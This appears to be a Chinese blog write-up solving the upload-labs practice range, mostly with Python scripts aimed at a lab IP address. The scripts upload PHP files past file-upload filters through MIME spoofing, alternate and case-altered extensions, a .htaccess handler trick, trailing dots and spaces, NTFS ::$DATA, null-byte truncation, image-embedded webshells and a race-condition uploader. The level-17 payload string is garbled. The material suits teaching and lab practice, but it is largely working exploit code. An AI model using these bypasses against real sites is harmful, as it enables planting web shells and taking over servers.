最近一直在练习python,索性用python写脚本通关upload-labs,后面几关实在能力有限,实现不了。
每一关测试完,我都会删除upload下的文件,如果你没成功,请锤爆我的头。
第1、2关通用(前端JS,MIME类型验证)
第一关是JS前端验证,我们直接发包可以忽略掉
第二关是MIME类型验证,我设置了image/jpeg,也可绕过
1 2 3 4 5 6 7 8 9 10 11
| import requests url="http://192.168.136.133/upload/Pass-01/index.php" geturl="http://192.168.136.133/upload/upload/phpinfo.php" file={'upload_file':('phpinfo.php',"<?php phpinfo();?>",'image/jpeg')} data={'submit':'上传'} r=requests.post(url=url,data=data,files=file) r1=requests.get(url=geturl) if r1.status_code==200: print("upload success!") print(geturl)
|
第3关(文件各类扩展名)
文件扩展名绕过,httpd.conf中记得设置下图红框里的代码,不然无法解析phtml
这关上传之后会重命名文件,但是还是可以在源代码中看到的

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests import re url="http://192.168.136.133/upload/Pass-03/index.php" file={'upload_file':('phpinfo.phtml',"<?php phpinfo();?>",'image/jpeg')} data={'submit':'上传'} r=requests.post(url=url,data=data,files=file) wenjian = re.findall('<img src="../upload/(.*?)" width="250px" />',r.text,re.S) wenjian1 = "".join(wenjian) geturl="http://192.168.136.133/upload/upload/%s" % wenjian1 r1=requests.get(url=geturl) if r1.status_code==200: print("upload success!") print(geturl)
|
第4关(.htaccess)
这关先上传.htaccess文件,语句含义为所有.jpg结尾的文件以PHP文件解析
1 2 3 4 5 6 7 8 9 10
| .htaccess内容: (1) <FilesMatch "abc"> SetHandler application/x-httpd-php </FilesMatch> (将名字中包含abc的文件当作php解析)
(2)AddType application/x-httpd-php .jpg 上传的jpg文件都会以php格式解析 (3) SetHandler application/x-httpd-php 全部匹配php方式打开,对网站危害较大,不建议使用
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests import re url="http://192.168.136.133/upload/Pass-04/index.php" file={'upload_file':('phpinfo.jpg',"<?php phpinfo();?>",'image/jpeg')} file1={'upload_file':('.htaccess',"AddType application/x-httpd-php .jpg",'application/octet-stream')} data={'submit':'上传'} r=requests.post(url=url,data=data,files=file1) repson = requests.post(url=url,data=data,files=file) geturl="http://192.168.136.133/upload/upload/phpinfo.jpg" r1=requests.get(url=geturl) if r1.status_code==200: print("upload success!") print(geturl)
|
第5关(黑名单,大小写)
这关大小写绕过,使用第三关脚本进行修改即可
1 2
| url="http://192.168.136.133/upload/Pass-05/index.php" file={'upload_file':('phpinfo.phP',"<?php phpinfo();?>",'image/jpeg')}
|
第6关(黑名单,空格)
这关利用后缀名+空格进行绕过
1 2
| url="http://192.168.136.133/upload/Pass-06/index.php" file={'upload_file':('phpinfo.php ',"<?php phpinfo();?>",'image/jpeg')}
|
第7关(黑名单,点)
利用windows特性,会自动去掉后缀名中最后的".“,可在后缀名中加”."绕过
1 2
| url="http://192.168.136.133/upload/Pass-07/index.php" file={'upload_file':('phpinfo.php.',"<?php phpinfo();?>",'image/jpeg')}
|
第8关(黑名单,NTFS数据流)
利用NTFS文件流,::$DATA

1 2 3
| url="http://192.168.136.133/upload/Pass-08/index.php" file={'upload_file':('phpinfo.php::$DATA',"<?php phpinfo();?>",'image/jpeg')} wenjian1 = "".join(wenjian).replace('::$data','')
|
第9关(黑名单,点+空格+点)
还是黑名单,利用phpinfo.php. .(点+空格+点)进行绕过
1 2
| url="http://192.168.136.133/upload/Pass-09/index.php" file={'upload_file':('phpinfo.php. .',"<?php phpinfo();?>",'image/jpeg')}
|
第10关(黑名单,双写)
根据第一关的代码修改
1 2 3 4 5 6 7 8 9 10 11
| import requests url="http://192.168.136.133/upload/Pass-10/index.php" geturl="http://192.168.136.133/upload/upload/info.php" file={'upload_file':('phpinfo.pphphp',"<?php phpinfo();?>",'image/jpeg')} data={'submit':'上传'} r=requests.post(url=url,data=data,files=file) r1=requests.get(url=geturl) if r1.status_code==200: print("upload success!") print(geturl)
|
第11关(%00截断)
1 2 3 4 5 6 7 8 9 10 11
| import requests url="http://192.168.136.133/upload/Pass-11/index.php?save_path=../upload/phpinfo.php%00" geturl="http://192.168.136.133/upload/upload/phpinfo.php" file={'upload_file':('phpinfo.jpg',"<?php phpinfo();?>",'image/jpeg')} data={'submit':'上传'} r=requests.post(url=url,data=data,files=file) r1=requests.get(url=geturl) if r1.status_code==200: print("upload success!") print(geturl)
|
第12关(hex 00截断)
这关我是真的搞了很久,脚本写不出来,需要提交16进制的00,使用binascii模块,还是不行,人已虚,用BP过吧。。。
save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码

点击hex找到+也就是2b,修改为00

放包,上传成功

第13~15关(图片马)
1 2 3
| 制作图片马 linux:cat 404.php >> 1.png win:copy logo.png /b + 404.txt /a hack.jpg
|
直接上传就可以,我这里环境有问题,所以没有解析

第16关(二次渲染)
上传写入phpinfo()的图片马,然后下载下来,对比16进制,查看哪些地方没有进行渲染。
在没有进行渲染的地方写上我们的一句话。
可以看到已经将我们的渲染没了。

我们在没有进行渲染的地方再次写入

上传后利用文件包含漏洞,不过我这里因为环境问题还是没解析,下载下来图片可以看到,我们的一句话没有进行渲染,而是保留了下来

具体可以看这位大佬的操作
https://xz.aliyun.com/t/2657
第17关(条件竞争)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests from multiprocessing import Pool def CompeteUpload(list): url="http://192.168.136.133/upload/Pass-17/index.php" geturl="http://192.168.136.133/upload/upload/cs.php" file={'upload_file':('cs.php',"<?php ?>');?>",'image/jpeg')} data={'submit':'上传'} r=requests.post(url=url,data=data,files=file) r1=requests.get(url=geturl) if r1.status_code==200: print("upload success!") if __name__=="__main__": pool = Pool(10) pool.map(CompeteUpload, range(10000)) pool.close() pool.join()
|
第18关
正确解法应该是条件竞争,但是我偷懒了,可以上传.7z文件,再利用文件包含进行解析


第19关(文件解析)


第20关(数组绕过)


代码解释:
服务器端先是检查了MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给$file,否则就是将save_name参数的值赋给它。紧接着判断$file是否是数组。
1 2 3 4
| $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); }
|
如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。
那么为什么是save_name[2]呢,因为这段代码
1
| $file_name = reset($file) . '.' . $file[count($file) - 1];
|